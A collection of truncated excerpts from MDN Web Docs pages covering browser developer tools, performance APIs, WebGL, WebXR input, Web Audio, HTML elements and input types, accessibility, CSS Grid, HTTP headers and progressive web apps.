... other layers, and when only the relation of two layers changes (in an animation, for example) no repaints are required at all. The choices made by a web developer can hinder the browser here, causing it to trigger more repaints, and for more of the screen, than necessary. This can then cause a site to be slow responding to user input (also known as "janky"). That's where the paint flashing tool helps: by showing you the areas that the browser repaints in response to an event, you can see whether it is repainting more than it needs to. Using the paint flashing tool Open the Toolbox, then click the icon labeled "Highlight painted area": Then try using the page. After moving the mouse around and scrolling a bit, the above page looks like this: In this example, there are two main sources o...
...mposition: neither layer needs a repaint. In this case, with a simple style, the extra repaints don't make much of a difference. But if the style were computationally expensive to paint, they might. It's difficult to know what optimizations the browser will make to minimize repaints, and they are subject to change from one version to the next. So testing your website with the paint flashing tool helps ensure that it's still performing optimally. ...
Firefox Developer Tools
tion contains detailed guides to all of the tools as well as information on how to debug Firefox for Android, how to extend DevTools, and how to debug the browser as a whole. If you have any feedback on DevTools, or want to contribute to the project, you can join the DevTools community. Note: If you are just getting started with web development and using developer tools, our learning docs will help you -- see Getting started with the Web and What are browser developer tools? for good starting points. The Core Tools You can open the Firefox Developer Tools from the menu by selecting Tools > Web Developer > Toggle Tools or use the keyboard shortcut Ctrl + Shift + I or F12 on Windows and Linux, or Cmd + Opt + I on macOS. The ellipsis menu on the right-hand side of Developer Tools contains...
... ...
...find migrating to another less familiar set of DevTools to be challenging. To ease a transition from Firebug to the Firefox developer tools, we have written a handy guide -- Migrating from Firebug. Contribute If you want to help improve the developer tools, these resources will get you started. Get Involved Our community website explains how to get involved. bugs.firefox-dev.tools A tool helping to find bugs to work on. ...
Using the Frame Timing API - Web APIs
ring, CSS animations, etc. A frame rate of 60 fps (frames per second) for a 60 Hz refresh rate is a common target for a good responsive user experience. This means the browser should process a frame in about 16.7ms. An application can register a PerformanceObserver for "frame" performance entry types and the observer will have data about the duration of each frame event. This data can be used to help identify areas that take too long to provide a good user experience. This document describes how to use the PerformanceFrameTiming interfaces including example code. For an overview of these interfaces see Frame Timing API. Frame observers The performance observer interfaces allow an application to register an observer for specific performance event types. When one of those event types is add...
...This section briefly describes the web performance tools for the Firefox and Chrome/Canary browsers. Firefox performance tool Firefox's performance tool allows the developer to record a piece of the user's interaction and the data obtained during the recording is used to create a profile of the browser's activity. The profile...
...luding the average frame rate and the minimum and maximum rates (for a specific recording session). This data, along with the waterfall data, gives an indication of where a site might be having frame related performance problems (for example, by correlating the recording's minimum rates with their respective waterfall events). The performance tool's flame chart and call tree tabs provide data to help analyze the site's JavaScript usage. The call tree shows where the application is spending most of its time, whereas the flame chart shows the state of the JavaScript stack for the code at every millisecond during the performance profile. This provides a way to know exactly which function was executing at any point during the recording, how long it ran, and where it was called from. Chrome perfo...
Using the Resource Timing API - Web APIs
lcome. Resource loading phases An application can get timestamps for the various phases of resource loading such as redirection, DNS lookup, and TCP connection setup. Those phases and their property names are illustrated in Figure 1. Figure 1. Resource timing properties An application developer can use the property values to calculate the length of time a phase takes and that information can help diagnose performance issues. Timing resource loading phases The following example illustrates using the resource timing properties to calculate the amount of time the following phases take: redirection (redirectStart and redirectEnd ), DNS lookup (domainLookupStart and domainLookupEnd), TCP handshake (connectStart and connectEnd), and response (responseStart and responseEnd). This example also ...
...t and domainLookupEnd), TCP handshake (connectStart and connectEnd), and response (responseStart and responseEnd). This example also calculates the time from the start of the fetch and request start phases (fetchStart and requestStart, respectively), until the response has ended (responseEnd). This timing data provides a detailed profile of the resource loading phases and this data can be used to help identify performance bottlenecks. function calculate_load_times() { // Check performance support if (performance === undefined) { console.log("= Calculate Load Times: performance NOT supported"); return; } // Get a list of "resource" performance entries var resources = performance.getEntriesByType("resource"); if (resources === undefined || resources.length <= 0) { conso...
...transferSize" in list[i]) console.log("... transferSize[" + i + "] = " + list[i].transferSize); else console.log("... transferSize[" + i + "] = NOT supported"); } } Managing the resource buffer Although the browser is required to support at least 150 resource timing performance entries in its resource timing buffer, some applications may use more resources than that limit. To help the developer manage the buffer size, Resource Timing defines two methods that extend the Performance interface. The clearResourceTimings() method removes all "resource" type performance entries from the browser's resource performance entry buffer. The setResourceTimingBufferSize() method sets the resource performance entry buffer size to the specified number of resource performance entries. The...
WebGL model view projection - Web APIs
ually going on, this box doesn't get drawn because it's entirely outside of clip space. The depth is outside of the -1.0 to 1.0 range. box.draw({ top : 1, // x bottom : -1, // x left : -1, // y right : 1, // y depth : -1.5, // z color : [0.4, 0.4, 1, 1] // blue }); The results View on JSFiddle Exercise A helpful exercise at this point is to move the boxes around the clip space by varying the code to get a feel for how points get clipped and moved around in clip space. Try drawing a picture like a boxy smiley face with a background. Homogeneous coordinates The main line of the previous clip space vertex shader contained this code: gl_Position = vec4(position, 1.0); The position variable was define...
...onent gl_Position = vec4(transformedPosition.xyz, w); The results View on JSFiddle See that small dark blue triangle? That's an additional face added to our object because the rotation of our shape has caused that corner to extend outside clip space, thus causing the corner to be clipped away. See Perspective projection matrix below for an introduction to how to use more complex matrices to help control and prevent clipping. Exercise If that sounds a little abstract, open up the vertex shader and play around with the scale factor and watch how it shrinks vertices more towards the surface. Completely change the w component values for really trippy representations of space. In the next section we'll take this step of copying Z into the w slot and turn it into a matrix. Simple projectio...
...s that are closer to the lens). Perspective projection matrix Up to this point, we've built up our own 3D rendering setup, step by step. However the current code as we've built it has some issues. For one, it gets skewed whenever we resize our window. Another is that our simple projection doesn't handle a wide range of values for the scene data. Most scenes don't work in clip space. It would be helpful to define what distance is relevant to the scene so that precision isn't lost in converting the numbers. Finally it's very helpful to have a fine-tuned control over what points get placed inside and outside of clip space. In the previous examples the corners of the cube occasionally get clipped. The perspective projection matrix is a type of projection matrix that accomplishes all of these re...
Inputs and input sources - Web APIs
s, indicated by the XRInputSource property handedness, is a string which indicates which of the viewer's hands the controller is in: left or right. It can also be set to none if the controller isn't hand-held, or if it's unknown which hand the controller is in. Handedness can be used for various things, including selecting an appropriate mesh to use to represent the controller in the view and to help present it in the correct hand if drawing hands on the display. It can also be useful if your app uses the notion of "main hand" and "off hand" for determining the functionality of a controller; in a game, for example, the main hand controller may be the player's weapon while the off hand controller might be used to control the positioning of a shield. Targeting ray mode The targeting ray mode ...
...ained between standard input devices and XR input sources. An artificial source is used to represent the external source for the duration of each transient action. Managing input sources When multiple input sources are available, you need to be able to obtain information about each one, including its position and orientation, its targeting ray (if applicable to your needs), and details that can help you decide how to present the input source visually, if at all. You also need to be able to determine which input source to use for what activities; for example, if the user has two controllers, which one will be tracked for manipulating UI elements, or will both? To manage input sources, then, you need to be able to enumerate input sources, examine profile information about each input source, a...
...your app may need to have a "primary" controller. Not only would this controller then take the responsibility of clicking through the user interface of your app, but it would also be considered the "main hand," while other controllers would then be off-hand or additional controllers. Note: This doesn't mean your app needs to decide upon a primary controller. But if it does, these strategies may help. There are a few ways you can decide upon a primary controller. We'll look at three. Handedness The most direct way to decide which controller is primary is to have a user-definable "Handedness" preference that the user sets to indicate which of their hands is dominant. You would then look at each input source and find one matching this, if available, falling back to another controller if no ...
Web audio spatialization basics - Web APIs
panner.positionZ.value -= 40; } break; Our rotation values are a little more involved, however, as we need to move the sound around. Not only do we have to update two axis values (e.g. if you rotate an object around the x-axis, you update the y and z coordinates for that object), but we also need to do some more maths for this. The rotation is a circle and we need Math.sin and Math.cos to help us draw that circle. Let's set up a rotation rate, which we'll convert into a radian range value for use in Math.sin and Math.cos later, when we want to figure out the new coordinates when we're rotating our boombox: // set up rotation constants const rotationRate = 60; // bigger number equals slower sound rotation const q = Math.PI/rotationRate; //rotation increment in radians We can also u...
...We need to change the x orientation and the z orientation of the panner coordinates, to move around the y-axis for our left rotation: case ...
... We can do this for all the axes. We just need to choose the right orientations to update and whether we want a positive or negative increment. case 'rotate-right': transform.rotateY += degreesY; // 'right' is rotation about y-axis with positive angle increment z = panner.orientationZ.value*Math.cos(-q) -...
Window.open() - Web APIs
Web › API › Window › open
dow cannot be initially positioned offscreen. If the windowFeatures parameter is non-empty and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well. Size If only one of them is specified, the behavior is implementation-dependent, and web author should not rely on it. width or innerWidth Specifies the width of the content area, viewing area of the new secondary window in pixels. The wid...
...d resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features. Always identify links that will create (or will re-use) a new, secondary window Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly. The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled). "Users often don't notice tha...
...he focus of the system to a new FRAME or Window, then the nice thing to do is to tell the user that something like that will happen." World Wide Web Consortium Accessibility Initiative regarding popups "Use link titles to provide users with a preview of where each link will take them, before they have clicked on it." Ten Good Deeds in Web Design, Jakob Nielsen, October 1999 Using Link Titles to Help Users Predict Where They Are Going, Jakob Nielsen, January 1998 Example "New Window" Icons & Cursors Always use the target attribute If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to i...
Understanding the Web Content Accessibility Guidelines - Accessibility
The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required. ...
...g. buttons must be clickable in some way -- mouse, keyboard, voice command, etc.). Understandable: The content must be understandable to its users. Robust: The content must be developed using well-adopted web standards that will work across different browsers, now and in the future. Should I use WCAG 2.0 or 2.1? WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. What is WCAG 2.1? WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release WCAG 2.1 Adoption in ...
...However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer. What is accessibility? and particu...
Accessibility
antly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible. WAI-ARIA basics Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility. Accessible multimedia Another category of content that can create accessibility problems is multimedia -- video, audio, and image content need to be given proper textual alter...
...es being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations. Other documentation Understanding the Web Content Accessibility Guidelines This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing). Keyboard-navigable JavaScript widgets Until now, web developers who want to make their styled <div> and <span> based widgets accessible have lacked the proper techniques. Keyboard accessibility ...
...requirements for mobile app developers. Cognitive accessibility When creating web content, be aware of how you can ensure that it is accessible to people cognitive impairments. Accessibility for seizure disorders Some types of visual web content can induce seizures in people with certain brain disorders. Understand the types of content that can be problematic, and find tools and strategies to help you avoid them. View all articles about Accessibility... ...
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
d8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> <div>Four</div> <div>Five</div> <div>Six</div> <div>Seven</div> <div>Eight</div> </div> The order of auto placed items A grid can contain a mixture of items. Some of the items may have a position on the grid, but others may be auto-placed. This can be helpful, if you have a document order that reflects the order in which items sit on the grid you may not need to write CSS rules to place absolutely everything. The specification contains a long section detailing the Grid item placement algorithm, however for most of us we just need to remember a few simple rules for our items. Order modified document order Grid places items that have not been given...
...An example is the definition list in this next example. Definition lists are an interesting challenge to style as they are flat, there is nothing wrapping the groups of dt and dd items. In my example I am allowing auto-placement to place the items, however I have classes that start a dt in column 1, and dd in column 2, this ensure that term...
... ...
Tools - CSS: Cascading Style Sheets
Web › CSS › Tools
CSS offers a number of powerful features that can be tricky to use, or have a number of parameters, so that it's helpful to be able to visualize them while you work on them. This page offers links to a number of useful tools that will help you build the CSS to style your content using these features. Cubic Bezier GeneratorThis is a sample tool; it lets you edit Bezier curves. This is not really yet a useful tool, but will be!Linear-gradient GeneratorThis tool can be used to create custom CSS3 linear-gradient() backgrounds. ...
...hat will help you build the CSS to style your content using these features. Cubic Bezier GeneratorThis is a sample tool; it lets you edit Bezier curves. This is not really yet a useful tool, but will be!Linear-gradient GeneratorThis tool can be used to create custom CSS3 linear-gradient() backgrounds. ...
...a sample tool; it lets you edit Bezier curves. This is not really yet a useful tool, but will be!Linear-gradient GeneratorThis tool can be used to create custom CSS3 linear-gradient() backgrounds. ...
User input and controls - Developer guides
ng tools offered by the web platform or JavaScript libraries. Recommendations Available input mechanisms depend on the capabilities of the device running the application: Some devices provide touchscreen displays: the Web Platform offers touch events to interpret finger activity on touch-based user interfaces. For devices providing a mouse/touchpad as a pointing method, the Pointer Lock API helps you in implementing a first person 3D game or other applications requiring full control of the pointing device. And the Fullscreen API helps you in displaying your app in fullscreen mode. Using features such as contentEditable elements you can implement fast rich-text editors and with Drag&Drop let users moving elements inside your app. When screen orientation matters for your application, thro...
...rovided in the Events reference. When the input device is a mouse, you can also control user input through the Pointer Lock API and implement Drag & Drop (see below). Finger touch When developing web applications meant to be installed on touchscreen devices, it's a good practice to take into consideration the different capabilities in terms of screen resolution and user input. Touch events can help you implement interactive elements and common interaction gestures on touchscreen devices. If you want to use touch events, you need to add event listeners and specify handler functions, which will be called when the event gets fired: element.addEventListener("touchstart", handleStart, false);? element.addEventListener("touchcancel", handleCancel, false);? element.addEventListener("touchend", h...
...e DOM element you want to register the touch events on. Note: For further information about what you can do with touch events, please read our touch events guide. Pointer Events When dealing with devices that incorporate multiple forms of input, like mouse, finger touch and pen input, it might be hard to develop a solution that works for all these different control mechanisms. Pointer Events help developers more easily manage events across devices by normalizing the handling of each one. A pointer can be any point of contact on the screen made by a mouse cursor, pen, touch (including multi-touch), or other pointing input device. The events for handling generic pointer input look a lot like those for mouse: pointerdown, pointermove, pointerup, pointerover, pointerout, etc. Note: Pointer ...
Date and time formats used in HTML - HTML: Hypertext Markup Language
HTML uses a variation of the ISO 8601 standard for its date and time strings. It's worth reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with HTML, as the HTML specification includes algorithms for parsing these strings that is actually more precise than ISO 8...
...o HTML doesn't support years 1 B.C.E. (1 B.C.) or earlier. A year is normally 365 days long, except during leap years. Leap years A leap year is any year which is divisible by 400 or the year is divisible by 4 but not by 100. Although the calendar year is normally 365 days long, it actually takes the planet Earth approximately 365.2422 days to complete a single orbit around the sun. ...
...Scientists occasionally add leap seconds to the calendar (seriously) to handle the remaining three ten-thousandths of a day and to compensate for the gradual, naturally occurring slowing of Earth's rotation. While month 02, February, normally has 28 days, it has 29 days in leap years. ...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
Web › HTML › Element › abbr
ers as a tooltip when the mouse cursor is hovered over the element. Each <abbr> element you use is independent from all others; providing a title for one does not automatically attach the same expansion text to others with the same content text. Usage notes Typical use cases It's certainly not required that all abbreviations be marked up using <abbr>. There are, though, a few cases where it's helpful to do so: When an abbreviation is used and you want to provide an expansion or definition outside the flow of the document's content, use <abbr> with an appropriate title. To define an abbreviation which may be unfamiliar to the reader, present the term using <abbr> and either a title attribute or inline text providing the definition. When an abbreviation's presence in the text needs to b...
... Specifications ...
...ended to function and how it is accessed.</p> Result Accessibility concerns Spelling out the acronym or abbreviation in full the first time it is used on a page is beneficial for helping people understand it, especially if the content is technical or industry jargon. Example <p>JavaScript Object Notation (<abbr>JSON</abbr>) is a lightweight data-interchange format.</p> This is especially helpful for people who are unfamiliar with the terminology or concepts discussed in the content, people who are new to the language, and people with cognitive concerns. Specifications Specification Status Comment HTML Living StandardThe definition of '<abbr>' in that specification. Living Standard HTML5The definition of '<abbr>' in that specification. R...
<input type="number"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › number
entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options. The default stepping value for number inputs is 1, allowing only integers to be entered--unless the stepping base is not an integer. Using number inputs <input type="number"> elements can help simplify your work when building the user interface and logic for entering numbers into a form. When you create a number input with the proper type value, number, you get automatic validation that the entered text is a number, and usually a set of up and down buttons to step the value up and down. Important: Bear in mind that, logically, you should not be able to enter characters inside a numbe...
...eems to be some disagreement about this among browsers; see bug 1398528. Note: It's crucial to remember that a user can tinker with your HTML behind the scenes, so your site must not use simple client-side validation for any security purposes. You must verify on the server side any transaction in which the provided value may have any security implications of any kind. Mobile browsers further help with the user experience by showing a special keyboard more suited for entering numbers when the user tries to enter a value. The following screenshot is taken from Firefox for Android: A simple number input In its most basic form, a number input can be implemented like this: <label for="ticketNum">Number of tickets you would like to buy:</label> <input id="ticketNum" type="number" name="tic...
...tNum" type="number" name="ticketNum" value="0"> A number input is considered valid when empty and when a single number is entered, but is otherwise invalid. If the required attribute is used, the input is no longer considered valid when empty. Note: Any number is an acceptable value, as long as it is a valid floating point number (that is, not NaN or Infinity). Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value most commonly used to provide a hint as to the format the input should take value. It is displayed inside the edit box when the element's value is "". Once data...
<input type="password"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › password
you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. Specifics of how the entry process works may vary from browser to browser; mobile devices, for example, often display the typed character for a moment before obscuring it, to allow the user to be sure they pressed the key they meant to press; this is helpful given the small size of keys and the ease with which the wrong one can be pressed, especially on virtual keyboards. Note: Any forms involving sensitive information like passwords (e.g. login forms) should be served over HTTPS; Many browsers now implement mechanisms to warn against insecure login forms; see Insecure passwords. Value A DOMString representing a password, or empty ...
...ed pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. Tip: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby. Use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users. With a pattern, you can mandate case rules, require the use of some number of digits and/or punctuation characters, and so forth. See the section Validation for details and an example. placeholder The placeholder attribute is a string that provides a brief hint to the user as to what ki...
...m). The required attribute is used to indicate that this control must have a value. Finally, autocomplete is set to off to avoid password managers and session restore features trying to set its value, since this isn't a password at all. JavaScript This is just some simple code to display the entered SSN onscreen so you can see it. Obviously this defeats the purpose of a password field, but it's helpful for experimenting with the pattern. var ssn = document.getElementById("ssn"); var current = document.getElementById("current"); ssn.oninput = function(event) { current.innerHTML = ssn.value; } Result Specifications Specification Status Comment HTML Living StandardThe definition of '<input type="password">' in that specification. Living Standard Initia...
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
Web › HTML › Element › input
d be considered mandatory for checkbox, radio, and hidden. width Valid for the image input button only, the width is the width of the image file to display to represent the graphical submit button. See the image input type. Non-standard attributes The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped. Attribute Description autocorrect A string indicating whether or not autocorrect is on or off. Safari only. incremental Whether or not to send repeated search events to allow updating live search results while the user is still editing the value of the field. WebKit and Blink only (Safari, Chrome, Opera, etc.). mozactionhint A string indicat...
...onship exists between the prompt and the <input> element. In addition to an accessible name, the label provides a larger 'hit' area for mouse and touch screen users to click on or touch. By pairing a <label> with an <input>, clicking on either one will focus the <input>. If you use plain text to "label" your input, this won't happen. Having the prompt part of the activation area for the input is helpful for people with motor control conditions. As web developers, it's important that we never assume that people will know all the things that we know. The diversity of people using the web--and by extension your web site--practically guarantees that some of your site's visitors will have some variation in thought processes and/or circumstances that leads them to interpret your forms very differe...
...e the <label> with an <input> element in the above style. You need to give the <input> an id attribute. The <label> then needs a for attribute whose value is the same as the input's id. <label for="peas">Do you like peas?</label> <input type="checkbox" name="peas" id="peas"> Size Interactive elements such as form input should provide an area large enough that it is easy to activate them. This helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers. A minimum interactive size of 44x44 CSS pixels is recommended. Understanding Success Criterion 2.5.5: Target Size | W3C Understanding WCAG 2.1 Target Size and 2.5.5 | Adrian Roselli Quick test: Large touch targets - The A11Y Project ...
HTML elements reference - HTML: Hypertext Markup Language
Web › HTML › Element
This page lists all the HTML elements, which are created using tags. They are grouped by function to help you find what you have in mind easily. An alphabetical list of all elements is provided in the sidebar on every element's page as well as this one. For more information about the basics of HTML elements and attributes, see the section on elements in the Introduction to HTML article. Main root Element Description <html> The HTML <html> element represents the root (top-level element) of an HTML document, so it is also referred to as the root element. All other elements must be descendants of this element. ...
...rticle. Main root Element Description <html> The HTML <html> element represents the root (top-level element) of an HTML document, so it is also referred to as the root element. All other elements must be descendants of this element. Document metadata Metadata contains information about the page. This includes information about styles, scripts and data to help software (search engines, browsers, etc.) use and render the page. Metadata for styles and scripts may be defined in the page or link to another file that has the information. Element Description <base> The HTML <base> element specifies the base URL to use for all relative URLs in a document. <head> The HTML <head> element contains machine-readable i...
...elect> The HTML <select> element represents a control that provides a menu of options <textarea> The HTML <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a review or feedback form. Interactive elements HTML offers a selection of elements which help to create interactive user interface objects. Element Description <details> The HTML Details Element (<details>) creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state. <dialog> The HTML <dialog> element represents a dialog box or other interactive component, such as a dismissable alert, inspec...
Link types - HTML: Hypertext Markup Language
permalink for the section that the element is most closely associated to. This allows for bookmarking a single article in a page containing multiple articles, such as on a monthly summary blog page, or a blog aggregator. <a>, <area> <link>, <form> canonical From Wikipedia, the free encyclopedia: Canonical_link_element A canonical link element is an HTML element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization. <link> <a>, <area>, <form> dns-prefetch Hints to the browser that a resource is needed, allowing the browser to do a DNS lookup and protocol handshaking before a user clicks the link. <link> <a>, <area>, <form> ex...
...the site. <a>, <area>, <form> <link> first Indicates that the hyperlink leads to the first resource of the sequence the current page is in. Note: Other link types related to linking resources in the same sequence are last, prev, next. Although recognized, the synonyms begin and start are incorrect and must be avoided. <a>, <area>, <link> <form> help If the element is <a> or <area>, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants. If the element is <link> it indicates that the hyperlink leads to a resource giving further help about the page as a whole. <a>, <area>, <form>, <link> None. icon Defines a resource for represen...
... HTML 4.01 SpecificationThe definition of 'link types' in that specification. Recommendation Added alternate, stylesheet, start, chapter, section, subsection, appendix, and bookmark. Renamed previous to prev. Removed top, and search. UnknownThe definition of '<link>' in that specification. Obsolete Added top, contents, index, glossary, copyright, next, previous, help, and search. RFC 1866: HTML 2.0 Obsolete Initial definition. ...
HTTP Index - HTTP
Web › HTTP › Index
ey topic in HTTP: opening and maintaining connections largely impacts the performance of Web sites and Web applications. In HTTP/1.x, there are several models: short-lived connections, persistent connections, and HTTP pipelining. 16 Content Security Policy (CSP) CSP, Content Security Policy, Reference, Security Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement to distribution of malware. 17 Content negotiation Content Negotiation, Content Negotiation Reference, HTTP, Reference In HTTP, content negotiation is the mechanism that is used for serving ...
...message a partial message belongs. 76 Content-Security-Policy CSP, Content Security Policy, HTTP, Reference, Security, header The HTTP Content-Security-Policy response header allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks (XSS). 77 CSP: base-uri CSP, Directive, Document directive, HTTP, Security The HTTP Content-Security-Policy base-uri directive restricts the URLs which can be used in a document's <base> element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the <base> element. ...
...Header The Digest response HTTP header provides a digest of the requested resource. 117 ETag HTTP, Reference, Response, header The ETag HTTP response header is an identifier for a specific version of a resource. It lets caches be more efficient and save bandwidth, as a web server does not need to resend a full response if the content has not changed. Additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). 118 Early-Data Client hints, HTTP, header, request The Early-Data header is set by an intermediate to indicates that the request has been conveyed in TLS early data, and additionally indicates that an intermediary understands the 425 (Too Early) status code. The Early-Data header i...
JavaScript
vaScript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events. Introducing JavaScript objects The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Asynchronous JavaScript Discusses asynchronous JavaScript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. Client-side web APIs Explores what APIs are, and how to use some of the most common APIs you'll come across often in your development work. JavaScript guide JavaScript Guide A much more d...
...rators Learn more about the behavior of JavaScript's operators instanceof, typeof, new, this, the operator precedence, and more. Statements and declarations Learn how do-while, for-in, for-of, try-catch, let, var, const, if-else, switch, and more JavaScript statements and keywords work. Functions Learn how to work with JavaScript's functions to develop your applications. Tools & resources Helpful tools for writing and debugging your JavaScript code. Firefox Developer Tools Web Console, JavaScript Profiler, Debugger, and more. JavaScript Shells A JavaScript shell allows you to quickly test snippets of JavaScript code. Learn JavaScript An excellent resource for aspiring web developers -- Learn JavaScript in an interactive environment, with short lessons and interactive tests, gui...
...of JavaScript code. Learn JavaScript An excellent resource for aspiring web developers -- Learn JavaScript in an interactive environment, with short lessons and interactive tests, guided by automated assessment. The first 40 lessons are free, and the complete course is available for a small one-time payment. TogetherJS Collaboration made easy. By adding TogetherJS to your site, your users can help each other out on a website in real-time! Stack Overflow Stack Overflow questions tagged with "JavaScript". JavaScript versions and release notes Browse JavaScript's feature history and implementation status. JSFiddle Edit JavaScript, CSS, HTML and get live results. Use external resources and collaborate with your team online. Plunker Plunker is an online community for creating, collabora...
Progressive web app structure - Progressive web apps (PWAs)
native app, it is still a website -- you can click on the links within the page and send a URL to someone if you want to share it. Progressive: Start with the "good, old basic website" and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. For example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it. Responsive: Responsive web design also applies to progressive web apps, as both are mainly for mobile devices. There are so many varied devices with browsers -- it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, u...
...evices. There are so many varied devices with browsers -- it's important to prepare your website so it works on different screen sizes, viewports or pixel densities, using technologies like viewport meta tag, CSS media queries, Flexbox, and CSS Grid. Different concept: streams An entirely different approach to server- or client-side rendering can be achieved with the Streams API. With a little help from service workers, streams can greatly improve the way we parse content. The app shell model requires all the resources to be available before the website can start rendering. It's different with HTML, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. To have the JavaScript "operational", however, it has to be downl...
... Previous Overview: Progressive web apps Next ...
Progressive loading - Progressive web apps (PWAs)
In this article we will go even further and improve the performance of the app by progressively loading its resources. First meaningful paint It's important to deliver something meaningful to the user as soon as possible -- the longer they wait for the page to load, the bigger the chance they will leave before waiting for everything to finish. ...
...links. It would work like an infinite scroll -- loading the items on the list only when the user scrolls the page down. That way the initial HTML structure would be minimal, loading time even smaller, and we would have even greater performance benefits. Conclusion Less files to load initially, smaller files split into modules, use of placeholders, and loading more content on demand -- this will help achieve faster initial load times, which brings benefits to the app creator and offers a smoother experience to the user. Remember about the progressive enhancement approach -- offer a usable product no matter the device or platform, but be sure to enrich the experience to those using modern browsers. Final thoughts That's all for this tutorial series -- we went through the source code of the ...
...t be sure to enrich the experience to those using modern browsers. Final thoughts That's all for this tutorial series -- we went through the source code of the js13kPWA example app and learned about the use of progressive web apps features including an Introduction, PWA structure, offline availability with Service Workers, installable PWAs, and finally notifications. We also explained push with help from the Service Worker Cookbook. And in this article, we've looked into the concept of progressive loading, including an interesting example that makes use of the Intersection Observer API. Feel free to experiment with the code, enhance your existing app with PWA features, or build something entirely new on your own. PWAs give a huge advantage over regular web apps. Previous Overview: P...
The building blocks of responsive design - Progressive web apps (PWAs)
video stream from your webcam (using getUserMedia()) then allows you to capture stills from that video stream (using HTML5 <canvas>), and save them to a gallery. You can then view previously-captured images and delete them. Other articles will discuss the functionality in more detail, but here we're interested in the layout. Note: You can find the Snapshot app on Github; check out the code and help improve it. You can also see Snapshot running live. Note that getUserMedia() is an experimental technology, which currently only works in Google Chrome and Firefox desktop. More functionality and a clean up of the styling of Snapshot are planned for a future date. Our desktop layout for Snapshot is three columns, containing the camera viewer, image capture view, and gallery, respectively. Th...
...They don't render web pages at their true viewport width. Instead, they render pages at a higher assumed viewport width (something approaching a laptop screen), and then shrink the result down to fit inside the mobile screen. This is a sensible defensive mechanism -- most old school sites that don't have media queries would look terrible when rendered at say, 320px or 480px wide. But this doesn't help us responsible web developers, who have written small screen layouts into our CSS using media queries and want mobile devices to display those! There is a way to override this mobile rendering behavior -- viewport, which is inserted into our HTML pages in the form of a <meta> tag. In my example, let's add the following into our HTML <head>: <meta name="viewport" content="width=480"> This cause...
